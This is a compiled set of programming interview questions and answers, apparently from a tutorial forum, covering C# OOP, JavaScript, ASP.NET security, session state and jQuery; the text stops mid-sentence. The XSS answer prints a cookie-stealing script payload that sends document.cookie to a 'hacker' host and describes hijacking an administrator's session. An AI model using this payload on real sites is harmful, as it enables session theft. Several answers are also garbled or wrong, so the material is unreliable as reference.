You are on page 1of 275

C# OOPS INTERVIEW QUESTIONS-ANSWERS WITH

EXAMPLES

Hi friends this time I come with OOPS interview questions answers with user friendly format. Here are
examples with screen shots. Which will help you to understand oops concept.
Thanks for visit..

OOPS QUESTIONS ANSWERS:-

1. We have two classes BaseClass and childClass, ChildClass inheret base class. If we make
the object of child class then which class counstructor called first?
Ans: Base class constructor will be call first.



2. Can we declare an Abstract method in non-abstract class?
Ans: No



3. Can we give the return type of constructor?
Ans: No



4. If we have an abstract method in base class, then we must need to override(or use new
keyword) it or not?
Ans: Yes, if we not override it then it give error.



5. We know that Base class constructor called first. But if we creating object with
parameters, and base class have both constructor default and parameterized, then which
constructor of baseclass called first.
Ans: Base class default constructor called first.



6. Then what you can do that base class parameterized constructor call first.
Ans: We can use "Base" keyword


vikas.ahlawat
Administrator

Posts: 152
Joined: Nov 2012
Reputation: 0

04-27-2013, 05:54 PM (This post was last modified: 07-20-2013 11:07 AM by vikas.ahlawat.)
Post: #1


RE: C# OOPS INTERVIEW QUESTIONS ANSWERS WITH EXAMPLE (.NET C#)
Nice Post!!






JavaScript Interview Questions for both Experienced and Fresher


1).What is JavaScript?
Ans:-JavaScript is a scripting language most often used for client-side web development.


2).Difference between JavaScript and Jscript?
Ans:-Both JavaScript and Jscript are almost similar. Java script was developed by Netscape.
Microsoft reverse engineered Javascript and called it JScript


3).How do we add JavaScript onto a web page?
Ans:-
There are serveral way for adding javascript on a web page but there are two way with is
commonly userd by developers
If your script code is very short and only for single page then following ways is best
a)You can place <script type="text/javascript"> tag inside the <head> element.
Code:
<head>
<title>Page Title</title>
<script language="JavaScript" type="text/javascript">
var name = "Vikas Ahlawta"
alert(name);
</script>
</head>
b).If your script code is very large then you can make a javascript file and add its path in
the following way..
Code:
<head>
<title>Page Title</title>
<script type="text/javascript" src="myjavascript.js"></script>
</head>


4).Is JavaScript case sensitive?
Ans:-Yes!
A function getElementById is not the same as getElementbyID


5).What are the types used in JavaScript?
Ans:-String, Number, Boolean, Function, Object, Null, Undefined.


6).What are the boolean operators sported by JavaScript?
And Operator: &&
Or Operator: ||
Not Operator: !


7).What is the difference between == and ===?
Ans:-
== checks equality only,
=== checks for equality as well as the type.


8).How to access the value of a textbox using JavaScript?
Ans:-
ex:-
Code:
<!DOCTYPE html>
<html>
<body>
Full name: <input type="text" id="txtFullName" name="FirstName" value="Vikas
Ahlawat">
</body>
</html>

There are following way to access the value of the above textbox
var name = document.getElementById('txtFullName').value;
alert(name);
or
we can use the old way
document.forms[0].mybutton.
var name = document.forms[0].FirstName.value;
alert(name);
Note:- this uses the "name" attribute of the element to locate it.


9).What are the way of make comment in Javascript?
Ans:-
// is used for line comments
ex:- var x=10; //comment text

/*
*/ is used for block comments
ex:-
var x= 10; /* this is
block comment example.*/


10).How you will get the CheckBox status whether it is checked or not?
Ans:-
var status = document.getElementById('checkbox1').checked;
alert(status);
it will return true or false


11).How to create arrays in JavaScript?
Ans:-
There are Two way dor create array in Javascript like other languages..
a) first way to create array
Declare Array:-
Code:
var names = new Array();
Add Elements in Array:-
names[0] = "Vikas";
names[1] = "Ashish";
names[2] = "Nikhil";

b) this is second way
var names = new Array("Vikas", "Ashish", "Nikhil");


12).If an array with name as "names" contain three elements then how you will
print the third element of this array?
Ans:- Print third array element document.write(names[2]);
Note:- array index start with 0


13).How do you submit a form using Javascript?
Ans:-Use document.forms[0].submit();


14).What does isNaN function do?
Ans:-
It Return true if the argument is not a number.
ex:-
Code:
document.write(isNaN("Hello")+ "<br>");
document.write(isNaN("2013/06/23")+ "<br>");
document.write(isNaN(123)+ "<br>");

output will be:-
true
true
false


15).What is the use of Math Object in Javascript?
Ans:-
The math object provides you properties and methods for mathematical constants and
functions.
ex:-
Code:
var x = Math.PI; // Returns PI
var y = Math.sqrt(16); // Returns the square root of 16
var z = Math.sin(90); Returns the sine of 90

16). What do you understand by this keyword in javascript?
Ans:-In JavaScript the this is a context-pointer and not an object pointer. It gives you the
top-most context that is placed on the stack. The following gives two different results (in
the browser, where by-default the window object is the 0-level context):

Code:
var obj = { outerWidth : 20 };

function say() {
alert(this.outerWidth);
}
say();//will alert window.outerWidth
say.apply(obj);//will alert obj.outerWidth


17).What does "1"+2+4 evaluate to?
Ans:-Since 1 is a string, everything is a string, so the result is 124.


18).What does 3+4+"7" evaluate to?
Ans:-Since 3 and 4 are integers, this is number arithmetic, since 7 is a string, its
concatenation, so 77 is the result.


19).How do you change the style/class on any element using javascript?
Ans:-
Code:
document.getElementById(myText).style.fontSize = 10";
-or-
document.getElementById(myText).className = anyclass;


20).Does javascript support foreach loop?
Ans:- Yes, See example here http://jsfiddle.net/gpDWk/


21).What looping structures are there in JavaScript?
Ans:-for, while, do-while loops


22).what is an object in JavaScript, give an example?
Ans:-
An object is just a container for a collection of named values

// Create the man object
Code:
var man = new Object();
man.name = 'Vikas Ahlawat';
man.living = true;
man.age = 27;


23).How you will add function as a property in a JavaScript object? Give example.
Ans:-
Code:
var man = new Object();
man.name = 'Vikas Ahlawat';
man.living = true;
man.age = 27;

man.getName = function() { return man.name;}
console.log(man.getName()); // Logs 'Vikas Ahlawat'.


24).What is the similarity between 1st and 2nd statement?
1st:- var myString = new String('male'); // An object.
2nd:- var myStringLiteral = 'male'; // Primitive string value, not an object.
Ans:- Both will call String() constructor function
you can confirm it by run the following statement
console.log(myString.constructor, myStringLiteral.constructor);


25).What will be the output of the following statements?
Code:
var myString = 'Vikas' // Create a primitive string object.
var myStringCopy = myString; // Copy its value into a new variable.
var myString = null; // Manipulate the value
console.log(myString, myStringCopy);
Ans:- // Logs 'null Vikas'


26).Consider the following statements and tell what would be the output of the
logs statements?
var price1 = 10;
var price2 = 10;
var price3 = new Number('10'); // A complex numeric object because new was used.
console.log(price1 === price2);
console.log(price1 === price3);
Ans:-
console.log(price1 === price2); // Logs true.
console.log(price1 === price3); /* Logs false because price3 contains a complex number
object and price 1
is a primitive value. */


27).What would be the output of the following statements?
var object1 = { same: 'same' };
var object2 = { same: 'same' };
console.log(object1 === object2);
Ans:- // Logs false, JavaScipt does not care that they are identical and of the same object
type.
When comparing complex objects, they are equal only when they reference the same
object (i.e. have the same address). Two variables containing identical objects are not
equal to each other since they do not actually point at the same object.


28).What would be the output of the following statements?
Code:
var object1 = { same: 'same' };
var object2 = object1;
console.log(object1 === object2);
Ans:- // Logs true


29).What is this?
var myArray = [[[]]];
Ans:- Three dimantional array


30).Name any two JavaScript functions which are used for convert nonnumeric
values into numbers?
Ans:-
Number()
parseInt()
parseFloat()
Code:
var n1 = Number(Hello world!); //NaN
var n2 = Number(); //0
var n3 = Number(000010); //10
var n4 = Number(true); //1
var n5 = Number(NaN); //NaN

Advanced Javascript Interview Questions and Answers pdf for Web/UI Developers
Hey here I come with second set of JavaScript Interview questions and answers. I found the
most of the experienced JavaScript/UI developers are struggling to find the
Advanced/Complex interview questions with his answers respectively. So if you are
searching for same then this set of Interview questions would be going to helpful for you as
preparation of selection in top MNC(s).

If you want to previous set questions(1-30) then click the following link as given below :
Set-1 containing(1-30) interview questions

Set-2

31). What is the use of IsNan() function in JavaScript?
Ans:-isNaN() function accepts a single argument, which can be of any data type, to
determine if the value is not a number..
For more:-
Code:
alert(isNaN(red)); //true - cannot be converted to a number
alert(isNaN(true)); //false - can be converted to number 1
alert(isNaN(NaN)); //true
alert(isNaN(5)); //false - 5 is a number
alert(isNaN(5)); //false - can be converted to number 5


32). Can you describe "===" operator?
Ans:-
The identically equal operator is represented by three equal signs "===" and returns true
only if the operands are equal without
conversion, as in this example
Code:
var result1 = (55 == 55); //true - equal because of conversion
var result2 = (55 === 55); //false - not equal because different data
types


33). DOM method "document.getElementById()" didnt exist in Internet Explorer
prior to version 5. What is the way to detect that "document.getElementById()" is
supported by the browser or not?
Ans:-
if (document.getElementById){
return document.getElementById("txtBox1");
}
else {
throw new Error(getElementById function not supported by browser);
}


34). How do you check if a variable is an array in JavaScript?
Ans:- We can use "instanceof Array"
Example:-
Code:
if (v1 instanceof Array) {
alert('v1 is Array!');
} else {
alert('v1 is not an array');
}

35). What is the difference between following two
var myfunc = function() {}
function myfunc() {}
Ans:-
var myfunc = function() {} defines a variable that references an anonymous function.
function myfunc() {} defines a named function "myfunc".


36). When we try to convert a sting into Boolean then in JavaScritp it will show
error/true/false?
var message = "Hello!!";
var messageAsBoolean = Boolean(message);
alert(messageAsBoolean);
Ans:-Alert box will show "true"
Other Conversion
<!DOCTYPE html>
<html>
<head>
<script>
var SimpleString = "Hello!!";
var EmptyString = "";
var ZeroNumber = 0;
var NoneZeroNumber = 7;
var NanString = NaN;
var Obj = new Object();
var Undifined;

//Convert into Boolean
var SimpleStringAsBoolean = Boolean(SimpleString); //true
var EmptyStringAsBoolean = Boolean(EmptyString); //fasle
var ZeroNumberAsBoolean = Boolean(ZeroNumber); //false
var NoneZeroNumberAsBoolean = Boolean(NoneZeroNumber); //true
var NanStringAsBoolean = Boolean(NanString); //false
var UndifinedAsBoolean = Boolean(Undifined); //false

//See result
alert(SimpleStringAsBoolean); //Will Show "true"
alert(EmptyStringAsBoolean); //Will Show "false"
alert(ZeroNumberAsBoolean); //Will Show "false"
alert(NoneZeroNumberAsBoolean); //Will Show "true"
alert(NanStringAsBoolean); //Will Show "false"
alert(UndifinedAsBoolean); //Will Show "false"
</script>
</head>
<body>


37). What will be the output of below statement?
alert(NaN == NaN);
Ans:- it will show false
because NaN is not equal to any value, including NaN.


38). What is the difference between undefined value and null value?
Ans:-
Undefined value: If a value that is not defined and has no keyword then it is known as
undefined. For example in the declaration, int num; the num has undefined value.
Null value: If a value that is explicitly specified by the keyword null then it is known as null
value. For example in the declaration, String str=null; the str has a null value.


39). What would be the difference if we declare two variables inside a JavaScript,
one with 'var' keyword and another without 'var' keyword?
Ans:- The variable with var keyword inside a function is treated as Local variable.
and the variable without var keyword inside a function is treated a global variable.


40). Have a look on the following script and tell me which the global/local
variables here are.
<script>
var n1= 10;
function my_function()
{
var n2 = 0;
n3 = 0;
}
</script>

Ans:-
<script>
var n1= 10; // Global
function my_function()
{
var n2 = 0; // is a local
n3 = 0; // is a global
}
</script>

ASP.NET SECURITY INTERVIEW QUESTIONS AND ANSWERS FOR EXPERINCED SET-1
Asp.net Security Interview Questions and Answers for experinced.
Latest Asp.net Security Interview Questions with Answers.
Hi friends here I come with Asp.net Security related questions for experinced developers.
This set contain 10 questions related to Asp.net security.
So lets start

ASP.NET SECURITY INTERVIEW QUESTIONS SET-1
Q 1:- What you will do for make your code more secure?
Ans:- I will review my code from beginning and understand the security issues that are
possible in the code, after that i will resolve them.

Q 2:- How much time you will set for review, is there any time limit, if you not
getting security issues?
Ans:- I will set reasonable time limit on my review, and then optimize my review for this
limit. If I find myself spending too much time in any one area (especially if it is not a high-
priority area or objective),then I flag it for later review and move on.

Q 3:- What you will do if you have not much time for (asp.net project) security
review?
Ans:- I will limit my reviews to small, manageable pieces of code. This allows me to finish
quickly, stay focused, and find a larger number of security issues in the code me examining.

Q 4:- What is the difference between Authentication and Authorization?
Ans:- Authentication means validating users. In this step, we verify user credentials to
check whether the person tying to log in is the right one or not.
Authorization on the other hand is keeping track of what the current user is allowed to see
and what should be hidden from him.

Q 5:- What do you understand by SQL Injection attack?
Ans:- A SQL injection attack occurs when untrusted input can modify the logic of a SQL
query in unexpected ways.

Q 6:- What you will do to prevent SQL injection?
Ans:- I will use parameterized and typed stored procedures.
The typed SQL parameter checks the type and length of the input, and it ensures that the
userName input value is treated as a literal value and not as executable code in the
database.

Q 7:- If you are not using Stored Procedure, think you are using simple sql
statment then what you will do to prevent SQL injections?
Ans:- If the code does not use stored procedures, make sure that it uses parameters in the
SQL statements it constructs, as shown in the following example.
select status from Users where UserName=@userName
I will check that the code does not use the following approach, where the input is used
directly to construct the executable SQL statement by using string concatenation.
string sql = "select status from Users where UserName='"
+ txtUserName.Text + "'";

Q 8:- What do you understand by XSS?
Ans:- Cross-site scripting (also known as XSS or CSS)

Q 9:- What is Cross-site scripting (XSS)?
Ans:- Cross Site Scripting (or XSS) is one of the most common application-layer web
attacks. XSS commonly targets scripts embedded in a page which are executed on the
client-side (in the users web browser) rather than on the server-side.
Example 1.
For example, the HTML snippet:
<title>Example document: %(title)</title>
is intended to illustrate a template snippet that, if the variable title has value Cross-Site
Scripting, results in the following HTML to be emitted to the browser:
<title>Example document: XSS Doc</title>
A site containing a search field does not have the proper input sanitizing. By crafting a
search query looking something like this:
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;
</SCRIPT>
Sitting on the other end, at the Webserver, you will be receiving hits where after a double
space is the users cookie. You might strike lucky if an administrator clicks the link, allowing
you to steal their sessionID and hijack the session.

Q 10:- What is the difference between Windows and Forums Authentication?
Ans:- Windows Authentication: is provided so that web pages
can make use of the local Windows User and Groups.In it windows actual login name and
password is used for authentication.

Forms Authentication: Under Forms Authentication user can able to create their own
login name and password it is basically a cookie based
authentication system which stores the login name and
password in database file.

QUIZ : ASP.NET VIEW STATE INTERVIEW QUESTIONS ANSWERS FOR EXPERIENCED
If you are prepare for Interview then, this set of questions would be add some questions
related to Asp.net view state(state management) in your brain . So lets check your
knowledge about view state. If you think you have enough knowledge about view state then
you can take it as a Quiz.

So lets start asp.net view state quiz

1). What is View State in Asp.net?
Ans: View state is nothing but a method that the ASP.NET use to preserve page and control
values between postbacks. When the HTML markup for the page is rendered, the current
state of the page and values that must be retained during postback are serialized into
base64-encoded strings. This information is then put into the view state hidden field.

2). View state is client-side or server side state management techenique?
Ans: View state is client-side state management techenique

3). What are the client-side state management techenique supported by ASP.NET?
Ans: View state
Control state
Hidden fields
Cookies
Query strings

4). View state is used by Asp.net page atomatically or we need to apply it
manuly?
Ans: View state is used automatically by the ASP.NET page framework to persist information
that must be preserved between postbacks.


5). When you can use(take advantage of vs) view state?
or What you can do by use view state?
Ans: a) Keep values between postbacks without storing them in session state or in a user
profile.
b) Store the values of page or control properties that you define.
c) Create a custom view state provider that lets you store view state information in a SQL
Server database or in another data store.

6). What are the advantages of using view state?
Ans: No server resources are required : The view state is contained in a structure within the
page code.
Simple implementation : View state does not require any custom programming to use. It is
on by default to maintain state data on controls.
Enhanced security features : The values in view state are hashed, compressed, and encoded
for Unicode implementations, which provides more security than using hidden fields.

7). What are the limitations of view state?
Ans: Limitations:
Because view state is stored in the page, it results in a larger total page size.
ASP.NET uses view state only with page and control properties.
View state isn't a good place to store sensitive information that the client shouldn't be
allowed to see.

TOP 10 ASP.NET STATE MANAGEMENT/SESSION INTERVIEW QUESTIONS ANSWERS SET-1
Hey friends I got great response on my previous post related to Jquery
http://tutoriz.com/Thread-JQUERY-INTERVI...T-1-TOP-30
Interview questions answers.
So this time I decide to post questions related to State Management/Session.
Here are the top 10 questions answers for both experienced and beginners asp.net
developers.

1).What is state management?
Ans: State management is the process by which you maintain state and page information
over multiple requests for the same or different pages.

2).Http is stateless, What does this mean?
Ans: Stateless protocol is a communications protocol that treats each request as an
independent transaction that is unrelated to any previous request so that the
communication consists of independent pairs of requests and responses.

3).What is Session?
Ans: We know that Http is stateless, means when we open a webpage and fill some
information and then move to next page then the data which we have entered will lost.
It happed do to Http protocol stateless nature. So here session come into existence, Session
provide us the way of storing data in server memory. So you can store your page data into
server
memory and retrieve it back during page postbacks.

4).What are the Advantage and disadvantage of Session?
Ans: Advantages:
Session provide us the way of maintain user state/data.
It is very easy to implement.
One big advantage of session is that we can store any kind of object in it. :eg, datatabe,
dataset.. etc
By using session we don't need to worry about data collesp, because it store every client
data separately.
Session is secure and transparent from the user.
Disadvantages:
Performance overhead in case of large volumes of data/user, because session data is stored
in server memory.
Overhead involved in serializing and de-serializing session data, because in the case of
StateServer and SQLServer session modes, we need to serialize the objects before storing
them.

5).What is Session ID in Asp.net?
Ans: Asp.Net use 120 bit identifier to track each session. This is secure enough and can't be
reverse engineered. When client communicate with server, only session id is transmitted,
between them. When client request for data, ASP.NET looks on to session ID and retrieves
corresponding data.

6).By default where the sessions ID's are stored ?
Ans: By default, the unique identifier for a session is stored in a non-expiring session cookie
in the browser. You can specify that session identifiers not be stored in a cookie by setting
the cookieless attribute to true in the sessionState configuration element.
We can also configure our application to store it in the url by specifying a "cookieless"
session
The ASP Session cookie has this format:-
ASPSESSIONIDACSSDCCC=APHELKLDMNKNIOJONJACDHFN


7).Where does session stored if cookie is disabled on clients machine?
Ans: If you want to disable the use of cookies in your ASP.NET application and still make
use of session state, you can configure your application to store the session identifier in the
URL instead of a cookie by setting the cookieless attribute of the sessionState configuration
element to true, or to UseUri, in the Web.config file for your application.
The following code example shows a Web.config file that configures session state to use
cookieless session identifiers.
Code:
<configuration>
<system.web>
<sessionState
cookieless="true"
regenerateExpiredSessionId="true"
timeout="30" />
</system.web>
</configuration>


8).Can you describe all the property set in web.config under session state?
Ans:
Code:
<configuration>
<sessionstate
mode="inproc"
cookieless="false"
timeout="20"
sqlconnectionstring="data source=127.0.0.1;user id=<user
id>;password=<password>"
server="127.0.0.1"
port="42424"
/>
</configuration>
Mode: The mode setting supports three options: inproc, sqlserver, and stateserver. As
stated earlier, ASP.NET supports two modes: in process and out of process. There are also
two options for out-of-process state management: memory based (stateserver), and SQL
Server based (sqlserver). We'll discuss implementing these options shortly.
Cookieless: The cookieless option for ASP.NET is configured with this simple Boolean
setting.
Timeout: This option controls the length of time a session is considered valid. The session
timeout is a sliding value; on each request the timeout period is set to the current time plus
the timeout value
Sqlconnectionstring: The sqlconnectionstring identifies the database connection string that
names the database used for mode sqlserver.
Server: In the out-of-process mode stateserver, it names the server that is running the
required Windows NT service: ASPState.
Port: The port setting, which accompanies the server setting, identifies the port number that
corresponds to the server setting for mode stateserver.

9).What are Session Events?
Ans: There are two types of session events available in ASP.NET:
Session_Start
Session_End
You can handle both these events in the global.asax file of your web application. When a
new session initiates, the session_start event is raised, and the Session_End event raised
when a session is abandoned or expires.

10).How you can disable session?
Ans: If we set session Mode="off" in web.config, session will be disabled in the application.
For this, we need to configure web.config the following way:
Code:
<configuration>
<sessionstate Mode="off"/>
</configuration>
ASP.NET SESSION RELATED INTERVIEW QUESTIONS ANSWERS SET-2
Hey .net developers this is the second set of Asp.net session(state management) questions
answers serices. These are most inportent questions answers asked by interviewers. This
set also containing 10 questions. (click here for SET-1 http://tutoriz.com/Thread-TOP-10-
ASP-NET...ERS-SET-1)

ASP.NET SESSION(STATE MANAGEMENT) QUESTIONS SET - 2

11).What are the session modes available in asp.net?
Ans:
Off
InProc
StateServer(Out-Proc)
SQLServer
Custom

12).What is the default session modes in asp.net?
Ans: InProc

13).What are the disadvantages of using InProc session mode?
Ans: Its stores session information in the current Application Domain.
So it will lose data if we restart the server.

14).Session_End() event is supported by which session mode only?
Ans: Session_End() event is supported by InProc mode only.

15).What do you understand by StateServer(Out-Proc) mode?
Ans: StateServer session mode is also called Out-Proc session mode. StateServer uses a
stand-alone Windows Service which is independent of IIS and can also be run on a separate
server. This session state is totally managed by aspnet_state.exe. This server may run on
the same system, but it's outside of the main application domain where your web
application is running. This means if you restart your ASP.NET process, your session data
will still be alive.

16).Under StateServer(Out-Proc) mode the session state is managed by?
Ans: aspnet_state.exe

17).What are the advantages and disadvantages of StateServer(Out-Proc) Session
mode?
Ans: Advantages:
It keeps data separate from IIS so any issues with IIS will not hamper session data.
It is useful in web farm and web garden scenarios.
Disadvantages:
Process is slow due to serialization and de-serialization.
State Server always needs to be up and running.

18).Under SQLServer Session Mode where the session data store?
Ans: In SQLServersession mode, session data is serialized and stored in A SQL Server
database.

19).What is the big disadvantage of SqlServer Session mode?
Ans: The main disadvantage of SqlServer Session mode storage method is the overhead
related with data serialization and de-serialization.

20).What are the advantages and disadvantages of SqlServer Session mode?
Ans: Advantages:
Session data not affected if we restart IIS.
The most reliable and secure session management.
It keeps data located centrally, is easily accessible from other applications.
Very useful in web farms and web garden scenarios.
Disadvantages:
Processing is very slow in nature.
Object serialization and de-serialization creates overhead for the application.
As the session data is handled in a different server, we have to take care of SQL Server. It
should be always up and running.

JQUERY INTERVIEW QUESTIONS AND ANSWERS SET PDF- 1 TOP 30
Hey friends, here are the most commonly asked Jquery interview questions and answers for
both experienced and beginners ....
You know in these days Jquery become very popular and in every interview you will
defiantly face question related to Jquery/javascript, Interviewer must ask Jquery questions..
So be prepare before attend your interview...
And I see many Jquery user want to download .PDF as these questions ans answers set. So
In next article I will provide PDF file with 50 Jquery Questions answers.
This is Set-1 containing Top 30 most commonly/impotent Jquery questions with answers:

1).What is Jquery?
jquery is javascript library which required a jquery.js file. After that you can write the jquery
as fallows. It uses "$" as the short hand to write jquery code.
Simple Syntax is
Code:
$(document).ready(function()
{
function body
});

2).When Jquery founded and by whome?
It was released in January 2006 at BarCamp NYC by John Resig(Jquery founder).


3).What scripting language is jQuery written in?
Ans: JavaScript


4).Write a basic code for add jquery library to pages?
Code:
<html>
<head>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript">
// You can write the code here
</script>
</head>
<body>
<a href="http://www.tutoriz.com/">Jquery Interview Questions and Answers</a>
</body>
</html>


5).What is jQuery Selectors? Give some examples.
Ans: Selectors are used in jQuery to find out DOM elements. Selectors can find the elements
via ID, CSS, Element name and hierarchical position of the element.
Code:
Selector Example Selects
* $("*") All elements
#id $("#lastname") The element with id=lastname
.class $(".intro") All elements with class="intro"
element $("p") All p elements
For more click here http://www.w3schools.com/jquery/jquery_r...ectors.asp


6).What $("div.tutoriz") will select?
Ans: All the div element with tutoriz class.


7).jQuery uses CSS selectors and XPath expressions to select elements true or
false?
Ans:- True


8).What are the fastest selectors in Jquery?
Ans: ID and element selectors are the fastest selectors


9).What are the slower selecoters in Jquery?
Ans: Class selectors are slower

10).Which one is faster Jquery ID selector or JavaScript getElementById()?
(Jquery ID selector vs JavaScript getElementById())
Ans: JavaScript getElementById() is faster than Jquery Id ($("#elementID")) selector


11).Where Jquery code execute? On client browser or server browser?
On client browser



12).Write the code for selecting the
1st div element, 4th div element
last div, and for even and odd div elemets also.
one by one?
apply the red color on the above div.
Code:
<div class="questions">
<div class="box"> Question</div>
<div class="box"> Question</div>
<div class="box"> Question</div>
<div class="box"> Question</div>
<div class="box"> Question</div>
<div class="box"> Question</div>
</div>
Code for first div : $("div.questions > div:first").css("color", "red");
Code for 4th div : $("div.questions > div:nth-child(4)").css("color", "red");
Code for last div : $("div.questions > div:last").css("color", "red");
Code for even div : $("div.questions > div:even").css("color", "red");
Code for odd div : $("div.questions > div:odd").css("color", "red");

13).Write the code for select second last div element?
Code for second last div : $("div.questions > div::nth-last-child(2)").css("color", "red"); <!-
- Introduced in CSS3 -->

14).What are the advantages of using jQuery over JavaScript in ASP.NET web
application
Ans:
Below are the advatages of using jQery over JavaScript
a>.Jquery is well written optimised javascript code so
it will be faster in execution unless we write same standard optimised javascript code.
b>.Jquery is concise java script code ,means minimal ammount of code
is to be written for the same functionality than the javascript.
c>.Javascript related Development is fast using Jquery because most of the
functionality is already written in the library and we just need to use that.
d>.Jquery has cross browser support ,so we save time for supporting all the browsers.


15).What is Chaining in jQuery?
Ans:
In jQuery, Chaining means to connect multiple functions, events on selectors. look at
Sample Code 1 and 2.
Code:
Sample Code 1
$(document).ready(function(){
$('#dvContent').addClass('dummy');
$('#dvContent').css('color', 'red');
$('#dvContent').fadeIn('slow');
});

Sample Code 2 (using Chaining)
$(document).ready(function(){
$('#dvContent').addClass('dummy')
.css('color', 'red')
.fadeIn('slow');
});
Both the sample codes above will perform the exact same thing but the only difference is
that Sample code 2 is using Chaining. But Code 2 is faster and shorter then Code 1.
The problem with the Sample Code 1 is that for every statement, jQuery has to search the
entire DOM and find the element and after that executes the attached function on it. But
when chaining is used, then jQuery has to find the element only once and it will execute all
the attached functions one by one. This is the advantage of Chaining.

16).Is jQuery a library for client scripting or server scripting?
Ans: Client Script

17).What is jQuery & its significance? Why it is so popular?...


18).What are features of JQuery
or
What can be done using JQuery?
Features of Jquery
1. One can easily provide effects and can do animations.
2. Applying / Changing CSS.
3. Cool plugins.
4. Ajax support
5. DOM selection events
6. Event Handling


19).How to check Jquery UI loaded or not?
Ans: // Checking if jQuery UI is loaded or not
Code:
if($.ui){
// jQuery UI is loaded
}else {
// jQuery UI is not loaded
}

20).How check currently loaded jQuery UI version on the page?
Ans: // Returns jQuery UI version (ex: 1.8.2) or undefined
$.ui.version


21).Write the code for setting datetimepicker on textbox click.
If below is our textbox
<input type="text" id="abc" name=%26quot%3Bacc%26quot%3B value="Select Date" />
then Jquery code will be
$("#abc").datepicker();



22).If you have a table, how you will apply the two differt color on alternate rows
using Jquery?
Code:
<table border="1">
<tr><td>Vikas Ahlawat</td></tr>
<tr><td>Edwin George</td></tr>
<tr><td>Rohit Khurana</td></tr>
<tr><td>Gyan Singh</td></tr>
</table>
Ans :
<script src="jquery.js"></script>
<script>
$(document).ready(function()
{
$("tr:even").css("background-color", "#f4f4f8");
$("tr:odd").css("background-color", "#ffffff");
});
</script>


23).Name the Jquery method which is used to hide selected elements?
Ans: .hide()


24).Name the Jquery methods which are used for apply css class?
Ans:
$("#Id1").addClass('YourClassName'); // for apply class
$("#Id1").removeClass('YourClassName'); // for remove class


25).What is the use of attr() method in Jquery?
The attr() method sets or returns attributes and values of the selected elements.
When this method is used to return the attribute value, it returns the value of the first
matched element.
When this method is used to set attribute values, it sets one or more attribute/value pairs
for the set of matched elements.
Code:
$(selector).attr(attribute) //it will return the value of an attribute
$(selector).attr(attribute,value) //it will set the value of an attribute
$(selector).attr({attribute:value, attribute:value,...}) //for set multiple attribute

26).Can we use both jQuery and AJAX together?
Ans: yes

27).Tell the name of jQuery method which is used to perform an asynchronous
HTTP request?
Ans: jQuery.ajax()

28).What is the use of jquery load() method?
The jQuery load() method is a powerful AJAX method.
The load() method loads data from a server and puts the returned data into the selected
element without reload the complate page.
Ex:The following example loads the content of the file "demo_test.txt" into a specific <div>
element
$("#div1").load("demo_test.txt");


29).Can we use our own specific charactor in the place of $ sigh in Jquery?
Ans: Yes
You can also create your own shortcut very easily. The noConflict() method returns a
reference to jQuery, that you can save in a variable, for later use. Here is an example:
Code:
var vikas = $.noConflict();
vikas(document).ready(function(){
vikas("button").click(function(){
vikas("p").text("jQuery is still working!");
});
});

30).Name the 5 Jquery events?
Ans:-
jQuery Events
jQuery click() event.
jQuery dblclick() event.
jQuery mouseenter() event.
jQuery mouseleave() event.
jQuery mousedown() event.
jQuery mouseup() event.
jQuery hover() event.
jQuery focus() and blur() events.

JQUERY INTERVIEW QUESTIONS ANSWERS SET-2
31).What is difference between jQuery's ready and holdReady?
jQuery's ready is an event which gets triggered automatically when DOM is ready while holdReady is a
signal/flag to hold this triggering. holdReady was included in 1.6 version and it works only if used before
the execution/triggering of ready event. Once ready event is fired, it has nothing to do. It is useful in
dynamically loading scripts before the ready starts. It release ready event execution when used with a
true parameter.

32).What is Jquery $.ajax() method?
The Jquery ajax() method is used to perform an AJAX (asynchronous HTTP) request.

33).Name any four paremeter of Jquery ajax method?
url : Specifies the URL to send the request to. Default is the current page
type : Specifies the type of request. (GET or POST)
data : Specifies data to be sent to the server
cache: A Boolean value indicating whether the browser should cache the requested pages. Default is
true
beforeSend(xhr): A function to run before the request is sent

34).When can you use jQuery?
JQuery can be used to perform
1.Call methods on specific events
2.Traverse the documents
3.For apply CSS
4.Manipulation purpose and
5.To add effects too.
6.For apply animations
7.For give atractive look (dialogbox etc)
8.For asynchronous calls ($.ajax())

35).What is the use of noConflict() method in Jquery?

36).How to select combobox selecte value and text using Jquery?
Example:
var StateID = $("#StateCbx").val(); // Or you can use it $("#iStateID").val();
var StateName = $("#StateCbx option:selected").text();
alert("Selected combobox text is= " + StateName + " and value is= " + StateID);

37).JQuery html() method works for both HTML and XML documents?
No, It only works for HTML

38).Can you call C# codebehind method using Jquery?
Yes

39).How can you call a method inside code-behind using jQuery?
By $.ajax and by declaring method a WebMethod

40).What is the use of jQuery.data()?
jQuerys data method gives us the ability to associate arbitrary data with DOM nodes and JavaScript
objects. This makes our code more concise and clean.
For live example click here http://tutorialzine.com/2010/11/jquery-data-method/

41).Is jQuery a W3C standard?
No

42).What is the use of jquery .each() function?
Basically, the jQuery .each() function is used to loop through each element of the target jQuery object.
Very useful for multi element DOM manipulation, looping arrays and object properties.
Example:-
In this example alert box will open 3 times because dom contain 3 <li> tags
Code:
<script>
$(document).ready(function(){
$("button").click(function(){
$("li").each(function(){
alert($(this).text())
});
});
});
</script>

<ul>
<li>Coffee</li>
<li>Milk</li>
<li>Soda</li>
</ul>

43).If you have a server control(asp.net server control, Button) and on the click of button
you want to call a jquery function, So how you will call a jquery function without postback?
ASP.NET provides the OnClientClick property to handle button clicks. You can use this property on
Button, LinkButton and ImageButton. The same OnClientClick property also allows you to cancel a
postback.
So I can use OnClientClick property and Jquery function will return false.
Example
Code:
<script type="text/javascript">
function callMe()
{
alert('Hello');
return false;
}
</script>
<asp:Button ID="Button1" runat="server" OnClientClick="return callMe();" Text="Button" />

44).What is the use of .Size() method in Jquery?
Jquery's .size() method returns number of element in the object. That means that you can count the
number of elements within an object.

45).What is the difference between jquery.size() and jquery.length?
Jquery.size() and jquery.length both returns the number of element found in the object. But,
jquery.length is faster than jquery.size() because size() is a method but length is a property.

46).How you can debug Jquery code/What are the technique to debug jquery?
Add the keyword "debugger;" to the line from where we want to start the debugging and then run the
Visual Studio in Debug mode by pressing F5 or using the Debug button.

47).Difference between jQuery-x.x.x.js and jQuery.x.x.x min.js?
jQuery-x.x.x.js = Pretty and easy to read Read this one.
jQuery.x.x.x min.js = Looks like jibberish! But has a smaller file size. Put this one on your site for fast
loading and less size.

48).How to get the server response from an AJAX request using Jquery?
When invoking functions that have asynchronous behavior We must provide a callback function to
capture the desired result. This is especially important with AJAX in the browser because when a remote
